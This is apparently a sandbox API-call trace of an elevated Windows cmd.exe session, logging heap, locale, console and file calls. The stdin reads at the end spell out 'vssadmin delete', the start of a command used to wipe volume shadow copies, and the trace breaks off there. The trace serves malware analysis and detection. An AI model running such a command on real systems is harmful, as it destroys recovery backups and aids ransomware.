returned 3 [0079.679] GetProcessHeap () returned 0x2f0000 [0079.679] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x5c) returned 0x30b6d0 [0079.679] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x26f5b0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0079.679] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x26f5b0, lpFilePart=0x26f590 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x26f590*="Desktop") returned 0x25 [0079.679] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0079.679] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x26f2c0 | out: lpFindFileData=0x26f2c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x53000152, cFileName="Users", cAlternateFileName="")) returned 0x30b740 [0079.679] FindClose (in: hFindFile=0x30b740 | out: hFindFile=0x30b740) returned 1 [0079.680] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x26f2c0 | out: lpFindFileData=0x26f2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x53000152, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x30b740 [0079.680] FindClose (in: hFindFile=0x30b740 | out: hFindFile=0x30b740) returned 1 [0079.680] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0079.680] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x26f2c0 | out: lpFindFileData=0x26f2c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf3295280, ftLastAccessTime.dwHighDateTime=0x1d60ce5, ftLastWriteTime.dwLowDateTime=0xf3295280, ftLastWriteTime.dwHighDateTime=0x1d60ce5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x53000152, cFileName="Desktop", cAlternateFileName="")) returned 0x30b740 [0079.680] FindClose (in: hFindFile=0x30b740 | out: hFindFile=0x30b740) returned 1 [0079.680] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0079.680] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0079.680] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0079.680] GetProcessHeap () returned 0x2f0000 [0079.680] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30ac30 | out: hHeap=0x2f0000) returned 1 [0079.680] GetEnvironmentStringsW () returned 0x30b740* [0079.680] GetProcessHeap () returned 0x2f0000 [0079.680] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0xae8) returned 0x30c230 [0079.680] FreeEnvironmentStringsW (penv=0x30b740) returned 1 [0079.680] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a59c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0079.681] GetProcessHeap () returned 0x2f0000 [0079.681] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30b6d0 | out: hHeap=0x2f0000) returned 1 [0079.681] GetProcessHeap () returned 0x2f0000 [0079.681] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x4016) returned 0x30cd20 [0079.681] GetProcessHeap () returned 0x2f0000 [0079.681] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cd20 | out: hHeap=0x2f0000) returned 1 [0079.681] GetConsoleOutputCP () returned 0x1b5 [0079.681] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a59bfe0 | out: lpCPInfo=0x4a59bfe0) returned 1 [0079.681] GetUserDefaultLCID () returned 0x409 [0079.682] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a597b50, cchData=8 | out: lpLCData=":") returned 2 [0079.682] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x26f6c0, cchData=128 | out: lpLCData="0") returned 2 [0079.682] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x26f6c0, cchData=128 | out: lpLCData="0") returned 2 [0079.682] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x26f6c0, cchData=128 | out: lpLCData="1") returned 2 [0079.682] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a5aa740, cchData=8 | out: lpLCData="/") returned 2 [0079.682] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a5aa4a0, cchData=32 | out: lpLCData="Mon") returned 4 [0079.682] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a5aa460, cchData=32 | out: lpLCData="Tue") returned 4 [0079.682] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a5aa420, cchData=32 | out: lpLCData="Wed") returned 4 [0079.682] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a5aa3e0, cchData=32 | out: lpLCData="Thu") returned 4 [0079.682] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a5aa3a0, cchData=32 | out: lpLCData="Fri") returned 4 [0079.682] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a5aa360, cchData=32 | out: lpLCData="Sat") returned 4 [0079.683] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a5aa700, cchData=32 | out: lpLCData="Sun") returned 4 [0079.683] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a597b40, cchData=8 | out: lpLCData=".") returned 2 [0079.683] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a5aa4e0, cchData=8 | out: lpLCData=",") returned 2 [0079.683] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0079.684] GetProcessHeap () returned 0x2f0000 [0079.684] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20c) returned 0x3095c0 [0079.684] GetConsoleTitleW (in: lpConsoleTitle=0x3095c0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0079.684] _get_osfhandle (_FileHandle=1) returned 0x104 [0079.684] GetFileType (hFile=0x104) returned 0x3 [0079.684] BrandingFormatString () returned 0x3097e0 [0079.691] GetVersion () returned 0x1db10106 [0079.691] _vsnwprintf (in: _Buffer=0x26f830, _BufferCount=0x1f, _Format="%d.%d.%04d", _ArgList=0x26f7c8 | out: _Buffer="6.1.7601") returned 8 [0079.691] _get_osfhandle (_FileHandle=1) returned 0x104 [0079.691] GetFileType (hFile=0x104) returned 0x3 [0079.691] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x4a5a6340, nSize=0x2000, Arguments=0x0 | out: lpBuffer="Microsoft Windows [Version %1]") returned 0x1e [0079.691] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x4a5a6340, nSize=0x2000, Arguments=0x26f7d0 | out: lpBuffer="Microsoft Windows [Version 6.1.7601]") returned 0x24 [0079.691] _get_osfhandle (_FileHandle=1) returned 0x104 [0079.691] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Windows [Version 6.1.7601]", cchWideChar=-1, lpMultiByteStr=0x4a59c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Windows [Version 6.1.7601]", lpUsedDefaultChar=0x0) returned 37 [0079.691] WriteFile (in: hFile=0x104, lpBuffer=0x4a59c320*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0x26f758, lpOverlapped=0x0 | out: lpBuffer=0x4a59c320*, lpNumberOfBytesWritten=0x26f758*=0x24, lpOverlapped=0x0) returned 1 [0079.692] _vsnwprintf (in: _Buffer=0x4a5a6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x26f7f8 | out: _Buffer="\r\n") returned 2 [0079.692] _get_osfhandle (_FileHandle=1) returned 0x104 [0079.692] GetFileType (hFile=0x104) returned 0x3 [0079.692] _get_osfhandle (_FileHandle=1) returned 0x104 [0079.692] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a59c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0079.692] WriteFile (in: hFile=0x104, lpBuffer=0x4a59c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x26f7c8, lpOverlapped=0x0 | out: lpBuffer=0x4a59c320*, lpNumberOfBytesWritten=0x26f7c8*=0x2, lpOverlapped=0x0) returned 1 [0079.692] _vsnwprintf (in: _Buffer=0x4a5a6340, _BufferCount=0x1fff, _Format="%s", _ArgList=0x26f7f8 | out: _Buffer="Copyright (c) 2009 Microsoft Corporation. All rights reserved.") returned 63 [0079.692] _get_osfhandle (_FileHandle=1) returned 0x104 [0079.692] GetFileType (hFile=0x104) returned 0x3 [0079.692] _get_osfhandle (_FileHandle=1) returned 0x104 [0079.692] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Copyright (c) 2009 Microsoft Corporation. All rights reserved.", cchWideChar=-1, lpMultiByteStr=0x4a59c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Copyright (c) 2009 Microsoft Corporation. All rights reserved.", lpUsedDefaultChar=0x0) returned 64 [0079.692] WriteFile (in: hFile=0x104, lpBuffer=0x4a59c320*, nNumberOfBytesToWrite=0x3f, lpNumberOfBytesWritten=0x26f7c8, lpOverlapped=0x0 | out: lpBuffer=0x4a59c320*, lpNumberOfBytesWritten=0x26f7c8*=0x3f, lpOverlapped=0x0) returned 1 [0079.692] _vsnwprintf (in: _Buffer=0x4a5a6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x26f7f8 | out: _Buffer="\r\n") returned 2 [0079.692] _get_osfhandle (_FileHandle=1) returned 0x104 [0079.692] GetFileType (hFile=0x104) returned 0x3 [0079.692] _get_osfhandle (_FileHandle=1) returned 0x104 [0079.693] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a59c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0079.693] WriteFile (in: hFile=0x104, lpBuffer=0x4a59c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x26f7c8, lpOverlapped=0x0 | out: lpBuffer=0x4a59c320*, lpNumberOfBytesWritten=0x26f7c8*=0x2, lpOverlapped=0x0) returned 1 [0079.693] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77940000 [0079.693] GetProcAddress (hModule=0x77940000, lpProcName="CopyFileExW") returned 0x779523d0 [0079.693] GetProcAddress (hModule=0x77940000, lpProcName="IsDebuggerPresent") returned 0x77948290 [0079.693] GetProcAddress (hModule=0x77940000, lpProcName="SetConsoleInputExeNameW") returned 0x779517e0 [0079.694] _get_osfhandle (_FileHandle=0) returned 0xf8 [0079.694] GetFileType (hFile=0xf8) returned 0x3 [0079.694] _setmode (_FileHandle=0, _Mode=32768) returned 16384 [0079.695] NtOpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0x26f620 | out: TokenHandle=0x26f620*=0x0) returned 0xc000007c [0079.695] NtOpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0x26f620 | out: TokenHandle=0x26f620*=0x50) returned 0x0 [0079.695] NtQueryInformationToken (in: TokenHandle=0x50, TokenInformationClass=0x12, TokenInformation=0x26f630, TokenInformationLength=0x4, ReturnLength=0x26f638 | out: TokenInformation=0x26f630, ReturnLength=0x26f638) returned 0x0 [0079.695] NtQueryInformationToken (in: TokenHandle=0x50, TokenInformationClass=0x1a, TokenInformation=0x26f638, TokenInformationLength=0x4, ReturnLength=0x26f630 | out: TokenInformation=0x26f638, ReturnLength=0x26f630) returned 0x0 [0079.695] NtClose (Handle=0x50) returned 0x0 [0079.695] FormatMessageW (in: dwFlags=0x1900, lpSource=0x0, dwMessageId=0x40002748, dwLanguageId=0x0, lpBuffer=0x26f600, nSize=0x0, Arguments=0x26f608 | out: lpBuffer="韠0") returned 0xf [0079.695] GetProcessHeap () returned 0x2f0000 [0079.695] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x218) returned 0x2f1ab0 [0079.695] GetConsoleTitleW (in: lpConsoleTitle=0x26f650, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0079.696] wcsstr (_Str="C:\\Windows\\system32\\cmd.exe", _SubStr="Administrator: ") returned 0x0 [0079.696] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0079.697] GetProcessHeap () returned 0x2f0000 [0079.697] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x2f1ab0 | out: hHeap=0x2f0000) returned 1 [0079.697] LocalFree (hMem=0x3097e0) returned 0x0 [0079.698] GetProcessHeap () returned 0x2f0000 [0079.698] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30aa10 | out: hHeap=0x2f0000) returned 1 [0079.698] _vsnwprintf (in: _Buffer=0x4a5a6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x26f338 | out: _Buffer="\r\n") returned 2 [0079.698] _get_osfhandle (_FileHandle=1) returned 0x104 [0079.698] GetFileType (hFile=0x104) returned 0x3 [0079.698] _get_osfhandle (_FileHandle=1) returned 0x104 [0079.698] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a59c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0079.698] WriteFile (in: hFile=0x104, lpBuffer=0x4a59c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x26f308, lpOverlapped=0x0 | out: lpBuffer=0x4a59c320*, lpNumberOfBytesWritten=0x26f308*=0x2, lpOverlapped=0x0) returned 1 [0079.698] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a58f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0079.698] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a59c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0079.698] _vsnwprintf (in: _Buffer=0x4a58eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x26f348 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0079.698] _vsnwprintf (in: _Buffer=0x4a58ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x26f348 | out: _Buffer=">") returned 1 [0079.698] _get_osfhandle (_FileHandle=1) returned 0x104 [0079.698] GetFileType (hFile=0x104) returned 0x3 [0079.698] _get_osfhandle (_FileHandle=1) returned 0x104 [0079.698] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a59c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0079.698] WriteFile (in: hFile=0x104, lpBuffer=0x4a59c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x26f338, lpOverlapped=0x0 | out: lpBuffer=0x4a59c320*, lpNumberOfBytesWritten=0x26f338*=0x26, lpOverlapped=0x0) returned 1 [0079.699] _get_osfhandle (_FileHandle=0) returned 0xf8 [0079.699] GetFileType (hFile=0xf8) returned 0x3 [0079.699] _get_osfhandle (_FileHandle=0) returned 0xf8 [0079.699] SetFilePointer (in: hFile=0xf8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.699] ReadFile (in: hFile=0xf8, lpBuffer=0x4a59c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x26f638, lpOverlapped=0x0 | out: lpBuffer=0x4a59c320*, lpNumberOfBytesRead=0x26f638*=0x1, lpOverlapped=0x0) returned 1 [0079.699] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a59c320, cbMultiByte=1, lpWideCharStr=0x4a59e320, cchWideChar=1 | out: lpWideCharStr="v") returned 1 [0080.030] _get_osfhandle (_FileHandle=0) returned 0xf8 [0080.030] SetFilePointer (in: hFile=0xf8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0080.030] ReadFile (in: hFile=0xf8, lpBuffer=0x4a59c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x26f638, lpOverlapped=0x0 | out: lpBuffer=0x4a59c320*, lpNumberOfBytesRead=0x26f638*=0x1, lpOverlapped=0x0) returned 1 [0080.030] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a59c320, cbMultiByte=1, lpWideCharStr=0x4a59e322, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0080.030] _get_osfhandle (_FileHandle=0) returned 0xf8 [0080.030] SetFilePointer (in: hFile=0xf8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0080.030] ReadFile (in: hFile=0xf8, lpBuffer=0x4a59c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x26f638, lpOverlapped=0x0 | out: lpBuffer=0x4a59c320*, lpNumberOfBytesRead=0x26f638*=0x1, lpOverlapped=0x0) returned 1 [0080.030] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a59c320, cbMultiByte=1, lpWideCharStr=0x4a59e324, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0080.030] _get_osfhandle (_FileHandle=0) returned 0xf8 [0080.030] SetFilePointer (in: hFile=0xf8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0080.030] ReadFile (in: hFile=0xf8, lpBuffer=0x4a59c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x26f638, lpOverlapped=0x0 | out: lpBuffer=0x4a59c320*, lpNumberOfBytesRead=0x26f638*=0x1, lpOverlapped=0x0) returned 1 [0080.030] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a59c320, cbMultiByte=1, lpWideCharStr=0x4a59e326, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0080.031] _get_osfhandle (_FileHandle=0) returned 0xf8 [0080.031] SetFilePointer (in: hFile=0xf8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0080.031] ReadFile (in: hFile=0xf8, lpBuffer=0x4a59c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x26f638, lpOverlapped=0x0 | out: lpBuffer=0x4a59c320*, lpNumberOfBytesRead=0x26f638*=0x1, lpOverlapped=0x0) returned 1 [0080.031] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a59c320, cbMultiByte=1, lpWideCharStr=0x4a59e328, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0080.031] _get_osfhandle (_FileHandle=0) returned 0xf8 [0080.031] SetFilePointer (in: hFile=0xf8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0080.031] ReadFile (in: hFile=0xf8, lpBuffer=0x4a59c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x26f638, lpOverlapped=0x0 | out: lpBuffer=0x4a59c320*, lpNumberOfBytesRead=0x26f638*=0x1, lpOverlapped=0x0) returned 1 [0080.031] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a59c320, cbMultiByte=1, lpWideCharStr=0x4a59e32a, cchWideChar=1 | out: lpWideCharStr="m") returned 1 [0080.031] _get_osfhandle (_FileHandle=0) returned 0xf8 [0080.031] SetFilePointer (in: hFile=0xf8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0080.031] ReadFile (in: hFile=0xf8, lpBuffer=0x4a59c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x26f638, lpOverlapped=0x0 | out: lpBuffer=0x4a59c320*, lpNumberOfBytesRead=0x26f638*=0x1, lpOverlapped=0x0) returned 1 [0080.031] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a59c320, cbMultiByte=1, lpWideCharStr=0x4a59e32c, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0080.031] _get_osfhandle (_FileHandle=0) returned 0xf8 [0080.031] SetFilePointer (in: hFile=0xf8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0080.031] ReadFile (in: hFile=0xf8, lpBuffer=0x4a59c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x26f638, lpOverlapped=0x0 | out: lpBuffer=0x4a59c320*, lpNumberOfBytesRead=0x26f638*=0x1, lpOverlapped=0x0) returned 1 [0080.031] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a59c320, cbMultiByte=1, lpWideCharStr=0x4a59e32e, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0080.031] _get_osfhandle (_FileHandle=0) returned 0xf8 [0080.031] SetFilePointer (in: hFile=0xf8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0080.031] ReadFile (in: hFile=0xf8, lpBuffer=0x4a59c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x26f638, lpOverlapped=0x0 | out: lpBuffer=0x4a59c320*, lpNumberOfBytesRead=0x26f638*=0x1, lpOverlapped=0x0) returned 1 [0080.032] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a59c320, cbMultiByte=1, lpWideCharStr=0x4a59e330, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0080.032] _get_osfhandle (_FileHandle=0) returned 0xf8 [0080.032] SetFilePointer (in: hFile=0xf8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0080.032] ReadFile (in: hFile=0xf8, lpBuffer=0x4a59c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x26f638, lpOverlapped=0x0 | out: lpBuffer=0x4a59c320*, lpNumberOfBytesRead=0x26f638*=0x1, lpOverlapped=0x0) returned 1 [0080.032] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a59c320, cbMultiByte=1, lpWideCharStr=0x4a59e332, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0080.032] _get_osfhandle (_FileHandle=0) returned 0xf8 [0080.032] SetFilePointer (in: hFile=0xf8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0080.032] ReadFile (in: hFile=0xf8, lpBuffer=0x4a59c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x26f638, lpOverlapped=0x0 | out: lpBuffer=0x4a59c320*, lpNumberOfBytesRead=0x26f638*=0x1, lpOverlapped=0x0) returned 1 [0080.032] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a59c320, cbMultiByte=1, lpWideCharStr=0x4a59e334, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0080.032] _get_osfhandle (_FileHandle=0) returned 0xf8 [0080.032] SetFilePointer (in: hFile=0xf8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0080.032] ReadFile (in: hFile=0xf8, lpBuffer=0x4a59c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x26f638, lpOverlapped=0x0 | out: lpBuffer=0x4a59c320*, lpNumberOfBytesRead=0x26f638*=0x1, lpOverlapped=0x0) returned 1 [0080.032] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a59c320, cbMultiByte=1, lpWideCharStr=0x4a59e336, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0080.032] _get_osfhandle (_FileHandle=0) returned 0xf8 [0080.032] SetFilePointer (in: hFile=0xf8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0080.032] ReadFile (in: hFile=0xf8, lpBuffer=0x4a59c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x26f638, lpOverlapped=0x0 | out: lpBuffer=0x4a59c320*, lpNumberOfBytesRead=0x26f638*=0x1, lpOverlapped=0x0) returned 1 [0080.032] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a59c320, cbMultiByte=1, lpWideCharStr=0x4a59e338, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0080.032] _get_osfhandle (_FileHandle=0) returned 0xf8 [0080.032] SetFilePointer (in: hFile=0xf8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0080.032] ReadFile (in: hFile=0xf8, lpBuffer=0x4a59c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x26f638, lpOverlapped=0x0 | out: lpBuffer=0x4a59c320*, lpNumberOfBytesRead=0x26f638*=0x1, lpOverlapped=0x0) returned 1 [0080.032] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a59c320, cbMultiByte=1, lpWideCharStr=0x4a59e33a, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0080.033] _get_osfhandle (_FileHandle=0) returned 0xf8 [0080.033] SetFilePointer (in: hFile=0xf8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0080.033] ReadFile (in: hFile=0xf8, lpBuffer=0x4a59c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x26f638, lpOverlapped=0x0 | out: lpBuffer=0x4a59c320*, lpNumberOfBytesRead=0x26f638*=0x1, lpOverlapped=0x0) returned 1 [0080.033] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a59c320, cbMultiByte=1, lpWideCharStr=0x4a59e33c, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0080.033] _get_osfhandle (_FileHandle=0) returned 0xf8 [0080.033] SetFilePointer (in: hFile=0xf8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0080.033] ReadFile (in: 